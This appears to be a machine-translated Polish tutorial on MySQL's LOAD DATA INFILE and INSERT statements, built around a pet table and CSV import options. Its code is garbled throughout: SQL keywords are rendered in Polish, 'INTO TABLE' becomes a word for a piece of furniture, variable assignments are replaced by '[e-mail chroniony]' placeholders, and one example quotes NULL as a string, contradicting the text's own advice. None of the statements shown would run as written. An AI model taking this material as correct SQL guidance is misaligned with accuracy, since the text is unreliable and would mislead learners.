Możesz utworzyć plik tekstowy pet.txt zawierający jeden wpis w wierszu, z wartościami oddzielonymi tabulatorami w kolejności, w jakiej kolumny zostały wymienione w instrukcji CREATE TABLE. W przypadku brakujących wartości (takich jak nieznana płeć lub daty śmierci zwierząt, które wciąż żyją) można użyć wartości NULL. Aby przedstawić je w pliku tekstowym, użyj etykiety. Przykładowo wpis o gwizdku wygląda mniej więcej tak (zaznaczyłem tabulator spacją):
Whistler Gwen ptaszek 1997-12-09
Aby załadować dane z pliku tekstowego pet.txt znajdującego się na komputerze lokalnym (kliencie), a nie na serwerze do tabeli pet, użyj polecenia LOAD DATA:
Mysql> ZAŁADUJ DANE LOKALNY PLIK „pet.txt” DO TABELI pet;
Słowa kluczowe mają następujące znaczenie. W PLIKU określa ciąg będący nazwą pliku, z którego mają zostać odczytane dane. Ponieważ nazwa jest ciągiem, jest ujęta w cudzysłowy, w przeciwnym razie MySQL spróbuje ocenić ją jako wyrażenie numeryczne. LOKALNY określa, że plik powinien być wyszukiwany w systemie klienckim, a nie na serwerze. DO STOŁU nakazuje załadowanie danych do tabeli, której nazwa jest podana bezpośrednio po słowie TABELA (oddzielona spacją).
Jeśli chcesz, możesz jawnie określić separator wartości kolumny i znacznik końca wiersza w instrukcji, ale wartości domyślne to tylko tabulatory i znaki nowej linii. Wystarczą one do poprawnego odczytania pliku pet.txt i więcej już nie potrzeba.
Gdy chcesz dodawać nowe rekordy jeden po drugim, przydatna jest instrukcja WSTAWIĆ. W najprostszej formie podajesz wartości dla każdej kolumny w kolejności, w jakiej kolumny zostały wymienione w instrukcji CREATE TABLE. Załóżmy, że Diane otrzymała w prezencie nowego chomika Puffball. Możesz dodać nowy wpis za pomocą instrukcji INSERT, mniej więcej tak:
MySQL> WSTAW DO zwierzaka
-> WARTOŚCI („Puffball”, „Diane”, „chomik”, „f”, „1999-03-30”, „NULL”);
Słowa kluczowe tutaj również nie są szczególnie trudne. INTO pet określa, do której tabeli należy wstawić. WARTOŚCI określa listę wartości do wstawienia dla nowego wpisu w tabeli. Wartości są oddzielone przecinkami i wszystkie razem w nawiasach.
Należy zauważyć, że ciągi i wartość daty są zdefiniowane jako ciągi. Możesz wstawić NULL bezpośrednio (nie jako ciąg), aby reprezentować brak wartości.
Z tego przykładu widać, że ładowanie bezpośrednio do tabeli wymagałoby sporo pisania. Instrukcje zaoszczędziły dużo czasu.
Czy kiedykolwiek musiałeś ładować dane z pliku do tabeli z pliku? Jeśli nie, to postaram się pokrótce opowiedzieć o jednym ze sposobów, aby to zrobić.
Załaduj dane do tabeli z pliku
ZAŁADUJ PLIK DANYCH "data.csv" DO TABELI moja_tabela Ta konstrukcja pomoże ci załadować dane z pliku do twojej tabeli.
Jeśli chcesz załadować sformatowane dane, powiedzmy oddzielone przecinkiem, pomoże ci następująca konstrukcja:
ZAŁADUJ PLIK DANYCH „data.csv” DO TABELI my_table POLA ZAKOŃCZONE PRZEZ "," ZAŁĄCZONE PRZEZ """ UCIEKŁ PRZEZ "\\"
LINIE ZAKOŃCZONE PRZEZ „\r\n”
Co to znaczy?
- Wyszukaj zakończenia linii jako znaki „\r\n”
- Podziel wiersze na pola za pomocą znaków przecinka (,).
- Oczekuj, że pola będą ujęte w cudzysłowy.
- Interpretuj występowanie tabulatorów, znaków nowej linii lub znaku „\” poprzedzonego znakiem „\” jako literałów, które są częścią wartości pola.
ZAŁADUJ DANE W PLIKU DANYCH
Wszystko, co opisaliśmy powyżej, to słynna konstrukcja LOAD DATA INFILE.
Odmowa dostępu z powodu błędu użytkownika
Jeśli nagle napotkasz błąd odmowa dostępu dla użytkownika, wystarczy dodać atrybut LOKALNY zanim W PLIKU. Na przykład:
ZAŁADUJ LOKALNY PLIK DANYCH „data.csv” DO TABELI my_table
Załaduj dane do tabeli z pliku dla określonych pól
ZAŁADUJ LOKALNY PLIK DANYCH „data.csv” DO TABELI t1 POLA ZAKOŃCZONE PRZEZ "," LINIE ZAKOŃCZONE PRZEZ "\n" (@ col1 , @ col2 , @ col3 , @ col4 ) ustaw nazwę [e-mail chroniony] kol4 , ident [e-mail chroniony] kol2;
W tym miejscu określamy nazwę pliku (data.csv), z którego zostaną wczytane dane. W konstrukcji (@col1,@col2,@col3,@col4) wyliczamy wszystkie kolumny pliku do dalszego wykorzystania. A następnie znaną nam metodą set ustawiamy wartości tych kolumn dla konkretnych pól tabeli.
ZAŁADUJ PLIK DANYCH za pomocą JOIN
Jeśli musisz wypełnić tabelę z pliku przy użyciu istniejącego, prawdopodobnie od razu pomyślałeś o użyciu dołączyć. Kod do takiego wstawienia danych wygląda mniej więcej tak:
ZAŁADUJ LOKALNY PLIK DANYCH „data.csv” DO TABELI table_1 POLA ZAKOŃCZONE PRZEZ „\t” LINIE ZAKOŃCZONE PRZEZ „\r\n” (@col1,@col2,@col3,@col4) zestaw [e-mail chroniony], username=(wybierz nazwę użytkownika spośród użytkowników, gdzie user_id = @col1);